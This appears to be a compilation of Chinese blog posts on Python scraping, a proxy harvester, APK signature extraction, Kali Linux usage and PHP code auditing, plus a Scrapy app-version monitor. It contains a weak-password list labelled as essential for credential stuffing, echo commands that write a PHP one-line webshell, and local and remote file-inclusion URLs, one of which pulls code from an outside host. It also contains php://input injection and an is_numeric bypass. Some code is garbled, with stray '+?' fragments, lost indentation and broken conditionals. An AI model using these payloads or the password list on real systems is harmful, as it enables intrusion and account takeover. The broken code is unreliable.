python批量抓取代理IP使用requests验证

# -*- coding: utf-8 -*-
from bs4 import BeautifulSoup
import sys,requests,lxml,re
#设置 utf8 字符流处理
reload(sys)
sys.setdefaultencoding('utf-8')

#设置头信息
headers={       "User-Agent":"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36",
                "Accept":"*/*",
                "Accept-Language":"zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
                "Accept-Encoding":"gzip, deflate",
                "Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
                "X-Requested-With":"XMLHttpRequest",
                "Connection":"keep-alive"
        }

#代理验证,proxies() #传入一个字典
def proxies(urls = {"http":"http://124.240.187.78:81"} ):
    proxies = urls
    # timeout=60 设置超时时间60秒
    # res.status_code 查看返回网页状态码
    # verify = False 忽略证书
    try:
        res = requests.get(url = "http://1212.ip138.com/ic.asp",proxies = proxies, verify = False,timeout=60,headers = headers)
        #print u"访问畅通!!!"
        #print res.content
        if res.status_code == 200 :
            #print u"代理可用!"
            #print res.content
            ##with open("1.txt",'wb') as f:
            ##    f.write(res.content)
            print urls
            print u"访问没有问题,返回1"
            return proxies
        else:
            print urls
            print u"访问不可用,返回0"
            return False
    except Exception, e:
        print urls
        print u"访问异常,返回0"
        return False

#获取列表页数 并 生成列表超链接
def get_list_page(listurl = "http://www.xicidaili.com/nt/"):
    #获取列表页数
    doc = requests.get(url = listurl,headers = headers).text
    soup = BeautifulSoup(doc,'lxml')
    page_html = soup.find("div",class_="pagination")
    page_list = re.findall(r"\d+",str(page_html))
    page_max = int(page_list[-2])
    #生成列表超链接
    list_all = []
    for i in xrange(1,page_max+1):
        url =  re.sub('/\d+','/%d'%i,listurl+"1",re.S)
        #print url
        list_all.append(url)
    else :
        #print list_all
        return list_all


#抓取页面字段
def page_data(url = "http://www.xicidaili.com/nn/1"):
    resule = []
    html = requests.get(url,headers = headers).text
    soup = BeautifulSoup(html,'lxml')
    table = soup.select('table tr')
    for tr in table:
        #print tr
        td = tr.select('td')
        iplist = []
        for ip in td:
            #print ip.string
            iplist.append(ip.string)
        #print iplist
        if iplist :
            resule.append(iplist[5].lower() + ':' + iplist[5].lower() + '://' + iplist[1] + ':' + iplist[2])
    return resule
    #获取数据

#追加保存数据
def save_ip(ip):
    with open('ip.txt', 'a') as f:
        f.writelines(ip)
        f.close()

#proxies()
#print get_list_page("http://www.xicidaili.com/nn/")
#print page_data()

list_url = get_list_page(listurl = "http://www.xicidaili.com/nt/")
for url in list_url:
    iplist = page_data(url)
    #print iplist
    #exit()
    for ip in iplist:
        arr = re.split(':',ip)
        #print type(arr),arr,arr[0],arr[1],arr[2],arr[3]
        parame = {arr[0]:arr[1]+':'+arr[2]+':'+arr[3]}
        res = proxies(parame)
        if res :
            #print u"file_put" #写入文件
            save_ip(str(arr[1]+':'+arr[2]+':'+arr[3])+"\r\n")
        else:
            #访问不可用时走这里的流程
            pass


if __name__ == '__main__':
    #print "main"
    pass


# http://www.xicidaili.com/nn/ #国内高匿代理
# http://www.xicidaili.com/nt/ #国内普通代理
# http://www.xicidaili.com/wn/ #国外高匿代理
# http://www.xicidaili.com/wt/ #国外普通代理

撞库必备-精心汇总的100多个弱口令

123456
654321
12345678
123456789
1234567890
147258369
000000
00000000
111111
11111111
112233
121212
123123
123321
666666
888888
88888888
225588
abcdef
abcabc
abc123
123abc
a1b2c3
aaa111
123qwe
qwe123
qwe123456
qwerty
qweasd
iloveyou
5201314
admin888
adminadmin
hello123
a123456
123456a
test123
test1234
test123456
aaaaaa
aaaaaaa
aaaaaaaa
aaaaaaaaa
asdfasdf
12341234
woaini1314
qq123456
1qaz2wsx
1q2w3e4r
7758521
a123123
123456aa
woaini520
woaini
100200
1314520
woaini123
q123456
123456789a
5211314
asd123
a123456789
z123456
asd123456
a5201314
aa123456
zhang123
aptx4869
123123a
1q2w3e4r5t
1qazxsw2
5201314a
1q2w3e
aini1314
31415926
q1w2e3r4
123456qq
woaini521
1234qwer
a111111
520520
110110
111111a
123456abc
w123456
7758258
123qweasd
159753
qwer1234
a000000
qq123123
zxc123
123654
abc123456
123456q
qq5201314
000000a
456852
as123456
1314521
521521
qazwsx123
zxc123456
abcd1234
asdasd
love1314
QAZ123
aaa123
q1w2e3
a123321
123000
11111111
12qwaszx
5845201314
s123456
nihao123
caonima123
zxcvbnm123
wang123
159357
1A2B3C4D
asdasd123
584520
753951
147258
1123581321
110120
qq1314520

==============================================
段总收集的:
https://www.somd5.com/download/dict/

English.zip 英语单词字典
xingming.zip 姓名拼音字典精简版
top1w.zip SOMD5整理top1w
username-num-top1000.zip 从大数据中提取出的纯数字 比如a123456 取123456
username-num-top10w.zip 同上
7月21日更新
name-pinyin-shouzimu.zip 姓名首字母
name-pinyin-quanpin.zip 姓名拼音完整版,tab分割每个字
domain_suffix.zip 域名后缀
7月26日更新
mobile.zip 手机号段

Python获取Android Apk签名信息

#!/usr/bin/python
#coding:utf-8
import sys,os,commands,re
reload(sys)
sys.setdefaultencoding('utf8')

def get_signature(file = "test.apk") :
    #resule = commands.getstatusoutput("pwd")
    #查找cert在apk路径
    comm_path = "jar tf " + file + " | grep RSA"
    path = commands.getstatusoutput(comm_path)[1]
    #解压证书文件
    comm_unzip = "jar xf " +? " " + file + " " +? path
    unzip = commands.getstatusoutput(comm_unzip)
    #提取证书信息
    comm_cert = "keytool -printcert -file " + path
    cert = commands.getstatusoutput(comm_cert)[1]
    #删除解压的文件
    comm_rm = "rm -rf " + path
    rm_del = commands.getstatusoutput(comm_rm)
    #返回证书信息
    return cert

#demo1 = get_signature("162b81bea7cf22b5cfb182f991f6b124.apk")
#print demo1
#demo2 = get_signature("com.laijin.simplefinance.apk")
#print demo2
#demo3 = get_signature("com.laijin.simplefinance_043204.apk")
#print demo3

#demo1 = get_signature("8.apk")
#print demo1
#demo2 = get_signature("7.apk")
#print demo2
#demo3 = get_signature("6.apk")
#print demo3

demo3 = get_signature("6.apk")
print demo3

"""
test = demo3
rex = u"[\xe5\xba\x8f\xe5\x88\x97\xe5\x8f\xb7:]"+"(.*?)"+u"[\\xe6\x9c\x89\xe6\x95\x88\xe6\x9c\x9f:]"
regx = re.compile(rex)
s2 = regx.findall(test) #([\u5e8f\u5217\u53f7\u003a])+(.*?)+([\u5e8f\u5217\u53f7])
print s2
"""

#获取签名键值
def get_value(line):
    index = line.find(':') #第一次出现的位置
    resule = line[index+1:] #第一次出现的位置截止后的字符串
    return resule

#过滤获取签名返回值
def resule_signature(signature):
    #定义返回结果
    resule ={}
    #定义分割的每行数据
    lines = []
    #分割每一行生成list
    for line in signature.split("\n"):
    lines.append(line)
    #print lines #打印签名序列
    resule['suoyouzhe'] = get_value(lines[0])
    resule['qianfaren'] = get_value(lines[1])
    resule['xuliehao'] = get_value(lines[2])
    resule['youxiaoqi'] = get_value(lines[3])
    resule['zhengshu'] = {}
    resule['zhengshu']['md5'] = get_value(lines[5])
    resule['zhengshu']['sha1'] = get_value(lines[6])
    resule['zhengshu']['suanfa'] = get_value(lines[7])
    resule['zhengshu']['version'] = get_value(lines[8])
    return resule

    resule = resule_signature(demo3)

"""
#提取序列号
xuliehao = lines[2]
"""
#获取签名键值
def get_value(arr):
    value = []
    index = arr.find(':')
    print index

    for line in arr.split(":"):
    value.append(line)
    value = value[1]
    print u">>>>>>>>>>>>",value
    return value

Kali基础使用笔记

sudo apt-get install nautilus-open-terminal #在当前路径桌面打开终端
sudo bash #切换到root超级管理员
echo “<?php eval($_POST[‘cmd’])?>)” >> a.php #命令执行写一句话木马

sudo cp /etc/apt/sources.list /etc/apt/sources.list_bak #备份源
sudo gedit /etc/apt/sources.list #添加源

#kali2.0连接ssh要检查配置文件 vi /etc/ssh/sshd_config
PasswordAuthentication yes
PermitRootLogin yes
StrictModes yes

#阿里云kali源
deb http://mirrors.aliyun.com/kali sana main non-free contrib
deb http://mirrors.aliyun.com/kali-security/ sana/updates main contrib non-free
deb-src http://mirrors.aliyun.com/kali-security/ sana/updates main contrib non-free
#中科大的源
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

apt-get update & apt-get upgrade
apt-get dist-upgrade
apt-get clean

#汉化浏 Firefox 浏览器
apt-get install iceweasel-l10n-zh-cn
#安装flash
apt-get install flashplugin-nonfree

#安装wps
wget http://kdl.cc.ksosoft.com/wps-community/download/a21/wps-office_10.1.0.5672~a21_amd64.deb
dpkg -i wps-office_10.1.0.5672~a21_amd64.deb
apt-get -f install # 自动安装缺少的依赖库
reboot # 重启生效

#安装搜狗输入法
apt-get install fcitx
wget http://cdn2.ime.sogou.com/dl/index/1475147394/sogoupinyin_2.1.0.0082_amd64.deb
dpkg -i sogoupinyin_2.1.0.0082_amd64.deb
apt-get -f install # 自动安装缺少的依赖库
reboot # 重启生效
apt-get install fcitx-googlepinyin #安装谷歌输入法

#文件清理
sudo apt-get install deborphan #安装deborphan
deborphan -sPz #查看多余的库
sudo apt-get remove –purge ‘deborphan’删除无用的库文件

nautilus /usr/share/w3af #命令行以界面方式打开文件夹

maltogo #情报收集、各种信息收集、备用

#dns信息收集:http://0535code.com/article/20160624_906.shtml
dnswalk 0535code.com. #域名后要加.

fierce -dns 0535code.com #简单的方式
fierce -dns 0535code.com -wordlist /usr/share/fierce/hosts.txt #通过字典方式

#web漏洞扫描,不错的工具收集
golismero scan http://www.0535code.com
grabber -x -u http://www.0535code.com/ | grabber -h
nikto -host 0535code.com -port 80
skipfish -o /root/Desktop/report http://0535code.com
sqlmap -u 0535code.com

#在线web指纹识别探针 http://ce.baidu.com/index/guance ->补天&乌云
burpsuite | owasp zap | vega | appscan | Netsparker | AWVS | safe3 | w3af | uniscan-gui #都是图形化的
wapiti http://www.0535code.com/ –v 2
dirb http://www.0535code.com/ #目录文件扫描
DirBuster #owasp图形界面 目录文件扫描
cutycapt –url=http://0535code.com/ –out=0535code.jpg #截图工具
searchsploit wordpress #查询漏洞数据库

老版的BackTrack工具汇总、看这篇文章:http://0535code.com/article/20160106_694.shtml

#yum install lrzsz #借用Xshell上传下载文件 rz、sz
update-rc.d ssh enable #配置开机启动服务

PHP代码审计总结//查漏补缺

1.命令注入漏洞审计
system、exec、passthru、反引号、shell_exec、popen、proc_open、pcntl_exec
另类命令执行 echo `whoami`;

//防御函数 escapeshellarg()和escapeshell

2.代码执行漏洞审计
eval、assert、preg_replace(\e模式造成的代码执行漏洞)
命令执行时 @eval($_POST[‘cmd’]) >> /root/shell.php 写入webshell

3.本地包含与远程包含
本地包含
include,include_once,require,require_once
受 gpc 影响本地包含如果后端为.php可以用 %00截断或者?要后面作为参数
http://localhost/test.php?file=hack.txt
http://localhost/test.php?file=hack.txt%00
http://localhost/test.php?file=hack.txt?

远程包含
allow_url_fopen 和 allow_url_include 为 On
http://localhost/test.php?file=http://0535code.com/hack.txt

在 allow_url_include = On 且 PHP <= 5.2.0
http://localhost/test.php?php://input
post提交 <? phpinfo(); ?>

伪协议:php://filter/read=convert.base64-encode/resource=index.php
把读取到的内容用base64解码为源文件代码

4.php变量解析特性
<?
$a = “tag”;
echo ‘$a’;
echo “<br>”;
echo “$a”;
//$a
//tag
// 第二个标签被解析了 ‘不可解析变量 “可以解析变量
//在通过传参拼接代码时有用!!!

5.XSS或SQL注入,参数未过滤
<!– GET –>
<form method=”get” action=”test.php”>
<input name=”test” value=””>
<input type=”submit” value=”GET submit”>
</form>
</div>
<?
echo $_GET[‘test’];
echo htmlspecialchars($_GET[‘test’]);
?>

<!– POST –>
<form method=”post” action=”test.php”>
<input name=”body” value=””>
<input type=”submit” value=”POST submit”>
</form>
</div>

<?php
echo $_POST[“body”];
echo htmlspecialchars($_POST[“body”]);
?>
//宽字节注入需要满足条件 %df%27
//1.设置 set character_set_client = gbk, php链接mysql使用gbk编码
//2.使用 addslashes()函数过滤参数值

6.系统长文件特性解析截断
<?php
$a=NULL;
for($i=0;$i<=4071;$i++) {
$a .= ‘/’;
print $a;
}
$a = test.txt.$a; //完整的路径为/var/www/test/test.txt
//require_once($a..php);
?>
//win下用240个.或./组合的240个字符
//linux下需要2038个/.组合

7.变量覆盖漏洞
register_global=On //开启了全局变量,代码中没有初始化变量
extract($key) //覆盖变量
parse_str(‘key=value’) //覆盖变量
import_requests_variables(‘GP’) //G覆盖GET,P覆盖POST,GP重写GET和POST变量,在PHP4.1-PHP5.4之外的版本需要开启register_gllbals
$a=’key’;$$a=$vaule; //变量覆盖 $_GET[‘a’]($_GET[‘b’]) //动态函数执行

7.is_numeric函数绕过
<?
if (is_numeric($_GET[‘key’])){
echo $_GET[‘key’];
}else{
echo “error!”;
}
//0x3c7363726970743e616c6572742831293c2f7363726970743e
//<script>alert(1)</script>
//16进制可以绕过 is_numeric 检测函数

Scrapy爬虫框架安装使用笔记

#学习网址
#http://scrapy-chs.readthedocs.io/zh_CN/0.24/intro/tutorial.html

scrapy startproject pachong #创建项目
scrapy genspider AppVersion itunes.apple.com #创建爬虫 scrapy genspider 文件名 爬取URL链接

scrapy list #查看当前项目下有几个爬虫,需要进入项目目录后运行 scrapy list 命令

把AppVersion.py拖入 pachong/pachong/spiders 文件夹下
scrapy crawl AppVersion #启动爬虫项目 name = “AppVersion”

#ImportError: No module named items 报错说明创建的爬虫不能和项目名称相同,或者_区分也不行

#XPath表达式
/html/head/title: 选择HTML文档中 <head> 标签内的 <title> 元素
/html/head/title/text(): 选择上面提到的 <title> 元素的文字
//td: 选择所有的 <td> 元素
//div[@class=”mine”]: 选择所有具有 class=”mine” 属性的 div 元素

#使用实例:version = response.xpath(“//span[@itemprop=’softwareVersion’]/text()”).extract()
#Xpath出来的是列表哦,要取列表的值
scrapy crawl AppVersion -o items.json #保存为JSON

scrapy list #检查当前项目可用爬虫列表
scrapy runspider AppVersion.py #运行一个爬虫

ITEM_PIPELINES = {? ‘pachong.pipelines.PachongPipeline’: 300,} #使用pipelines配置
#使用日志
LOG_ENABLED = True
LOG_ENCODING = ‘utf-8’
LOG_FILE = ‘log.txt’ #添加绝对路径,否则报错!
LOG_LEVEL = ‘DEBUG’
LOG_STDOUT = True
####使用日志后,命令行不会打印信息了
CRITICAL – 严重错误(critical)
ERROR – 一般错误(regular errors)
WARNING – 警告信息(warning messages)
INFO – 一般信息(informational messages)
DEBUG – 调试信息(debugging messages)

USER_AGENT = ‘Mozilla/7.0 (compatible; Baiduspider/3.5; +http://www.baidu.com/search/spider.html)’
#模拟百度访问

ROBOTSTXT_OBEY = True #是否检查 robots.txt

#Items相关
product = Product(name=’jiage’, price=100) #创建字段
product[‘name’]或product.get(‘name’) # 获取字段值
product[‘last_updated’] = ‘today’ #设置字段值
product.keys() #获取所有字段值
product2 = Product(product) #复制item
dict(product) #根据item创建字典(dict)
Product({‘name’: ‘Laptop PC’, ‘price’: 1500}) #根据字典(dict)创建item

##Scrapy自带的发邮件貌似不好用,配置半天也没成功,之后自己写了个邮件方法

用Scrapy编写一组app版本监控的爬虫

首先创建Mysql数据库、表、字段、如下:

CREATE DATABASE jiankong_db DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;
CREATE TABLE `jiankong_db`.`app_version` (
`id` int(10) unsigned  NOT NULL  AUTO_INCREMENT,
`version` text,
`url` text,
`date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

修改配置文件settings.py

#自定义USER_AGENT
USER_AGENT = 'Mozilla/7.0 (compatible; Baiduspider/3.5; +http://www.baidu.com/search/spider.html)'

#日志配置
LOG_ENABLED = True
LOG_ENCODING = 'utf-8'
LOG_FILE = 'log.txt'
LOG_LEVEL = 'INFO'
LOG_STDOUT = True

#配置使用Pipelines
ITEM_PIPELINES = {
'pachong.pipelines.PachongPipeline': 300,
}

爬虫类的回调函数 Spiders/AppVersion.py

import scrapy
#from 项目名称.items import 项目Item类名
from pachong.items import PachongItem
class AppversionSpider(scrapy.Spider):
    name = "AppVersion" #定义项目名称
    allowed_domains = ["itunes.apple.com"]
    start_urls = (
    "https://itunes.apple.com/cn/app/jian-li-cai-cai-fu-guan-li/id987830667", #app1,
    "https://itunes.apple.com/cn/app/yin-ke-li-cai-tou-zi-li-cai/id879768943", #app2
    )

    def parse(self, response):
        item = PachongItem() #创建item.py类实例
        item['version'] = response.xpath("//span[@itemprop='softwareVersion']/text()").extract()[0]
        #.encode("utf-8")
        item['url'] = response.url
        #item['date'] = time.time() #time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time())) 时间戳转换函数
        #print u"@输出信息开始@"
        #print item['version']
        #print u"@输出信息结束@"
        yield item

配置返回字段映射 items.py

import scrapy
class PachongItem(scrapy.Item):
    version = scrapy.Field() #定义版本字段
    url = scrapy.Field() #定义软件url版本
    #date = scrapy.Field() #定义抓取当前版本的时间

配置返回处理 pipelines.py

import MySQLdb
import smtplib
from email.mime.text import MIMEText
class PachongPipeline(object):
    def connect(self):
        #建立数据库连接
        conn = MySQLdb.connect(
        host = 'localhost',
        user = 'root',
        passwd = 'root',
        db = 'jiankong_db',
        port = 3306,
        charset='utf8'
        )
        return conn

    #发送邮件函数send_mail(收件,标题,内容)
    def send_mail(self,shoujian,title,body):
        # 设置服务器,用户名、密码以及邮箱的后缀
        mail_user = "610358898"
        mail_pass="填写密码"
        mail_postfix="qq.com"
        me=mail_user+"<"+mail_user+"@"+mail_postfix+">"
        msg = MIMEText(body, 'html', 'utf-8')
        msg['Subject'] = title
        #msg['to'] = shoujian
        try:
            mail = smtplib.SMTP()
            mail.connect("smtp.qq.com")#配置SMTP服务器
            mail.login(mail_user,mail_pass)
            mail.sendmail(me,shoujian, msg.as_string())
            mail.close()
            print u"send mail success!"
        except Exception, e:
            print str(e)
            print u"send mail exit!"

        #回调函数返回
    def process_item(self, item, spider):
        conn = self.connect()
        cur = conn.cursor()
        print u"测试最新抓到的数据:",item['version'],item['url']
        #查询是否有存在的记录 sql模版
        sqli_select = "SELECT * FROM app_version WHERE version = %s AND url = %s"
        #添加记录 sql模版
        sqli="INSERT INTO app_version (id,version,url,date) VALUES(NULL,%s,%s,CURRENT_TIMESTAMP)"
        result = cur.execute(sqli_select,(item['version'],item['url']))
        print u"返回结果:",result
        if result print u"准备插入了!"
        body = "VERSION:" + str(item['version']) + "<br>" + "URL:" + str(item['url'])
        """
        #发邮件,如果发不出则用自己的邮件方法处理
        mailer.send(
        to=["admin@0535code.com"],
        subject="IOS APP 版本监控邮件通知",
        body= body,
        )
        """
        cur.execute(sqli,(item['version'],item['url']))
        conn.commit() #提交事物
        conn.close() #关闭数据库连接
        #关闭数据库后,发邮件通知
        self.send_mail(shoujian = "454690484@qq.com", title = "IOS APP版本更新通知!" , body = body)

########测试了Scrapy自带的发邮件的配置了半天没用了,官网写的很简单,配起来各种问题,发现问题比较少的爬虫,在不熟悉Scrapy的情况下,用纯Python可能会更快一些,也重写了一个Python原声版的,而且会一直在内存中跑,遇到问题则会自动发邮件,代码如下########

import sys,os,requests,time,logging,re,random,lxml,smtplib
from bs4 import BeautifulSoup
from email.mime.text import MIMEText
import MySQLdb
#解决输出问题
reload(sys)
sys.setdefaultencoding( "utf-8" )
#设置头信息,用于抓取页面的内容
headers={       "Host":"itunes.apple.com",
"User-Agent":"Mozilla/7.0 (compatible; Baiduspider/3.5; +http://www.baidu.com/search/spider.html)",
"Accept":"*/*",
"Accept-Language":"zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept-Encoding":"gzip, deflate",
"Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With":"XMLHttpRequest",
"Connection":"keep-alive"
}
#定义访问cookies实例
sid = requests.session()
#定义爬虫数组
urls = [
"https://itunes.apple.com/cn/app/jian-li-cai-cai-fu-guan-li/id987830667",
"https://itunes.apple.com/cn/app/yin-ke-li-cai-tou-zi-li-cai/id879768943",
]
#定义数据库ORM字典
results = {}
#建立数据库连接
conn = MySQLdb.connect(
host = 'localhost',
user = 'root',
passwd = 'root',
db = 'jiankong_db',
port = 3306,
charset='utf8'
)
cur=conn.cursor()
sqli_select = "SELECT * FROM app_version WHERE version = %s AND url = %s" #查询是否有存在的记录 sql模版
sqli="INSERT INTO app_version (id,version,url,date) VALUES(NULL,%s,%s,CURRENT_TIMESTAMP)" #添加记录 sql模版

#获取版本数据函数
def mouthpiece(url):
    res_html = sid.get(url).content
    html = BeautifulSoup(res_html,'lxml')
    results = html.find("span", {"itemprop":"softwareVersion"}).get_text()
    #print results
    return results

#开始爬取,主函数
def start_app(sleep):
    #遍历爬取url版本
    for url in urls:
    results['url'] = url
    results['version'] = mouthpiece(url)
    #print results
    results_sql = cur.execute(sqli_select,(results['version'],results['url'])) #查询结果,看数据库中是否有值
    print time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()),u"数据库查询返回结果:",results_sql
    if results_sql<1 :
        print time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()),u"有更新了!"
        cur.execute(sqli,(results['version'],results['url']))
        conn.commit()
        #保存后发邮件通知
        body = "URL:" + results['url'] + "version:" + results['version']
        send_mail(shoujian = "454690484@qq.com" , title = "APP版本更新通知!" , body = body)
    else:
        print time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()),u"没有更新!",results['url'],results['version']
        time.sleep(sleep)
        start_app(sleep)

#发送邮件函数send_mail(收件,标题,内容)
def send_mail(shoujian,title,body):
    # 设置服务器,用户名、密码以及邮箱的后缀
    mail_user = '610358898@qq.com'
    mail_pass="写自己邮箱密码"
    mail_postfix="qq.com"
    me=mail_user+"<"+mail_user+"@"+mail_postfix+">"
    msg = MIMEText(body, 'html', 'utf-8')
    msg['Subject'] = title
    #msg['to'] = shoujian
    try:
        mail = smtplib.SMTP()
        mail.connect("smtp.qq.com")#配置SMTP服务器
        mail.login(mail_user,mail_pass)
        mail.sendmail(me,shoujian, msg.as_string())
        mail.close()
        print u"send mail success!"
    except Exception, e:
        print str(e)
        print u"send mail exit!"

#send_mail(shoujian = "admin@0535code.com",title = "test",body = u"测试内容")

def c_main():
    try:
        print time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()) + u" ------开始解析执行监控..."
        start_app(6)
        #每10分钟执行一次
    except:
        #打印错误日志
        print "Unexpected error:",sys.exc_info()
        logging.basicConfig(filename='error.log')
        logging.exception("Exception Logged")
        time.sleep(10)#如果遇到问题睡眠10秒钟
        #start_app(600)
        send_mail( shoujian = "admin@0535code.com",title = "IOS APP版本监控BUG反馈",body = str(sys.exc_info()) )
        c_main()

#MAIN方法
if __name__ == "__main__":
    c_main()

这是后面增加代码功能整理的格式、如果有问题、欢迎吃瓜群众留言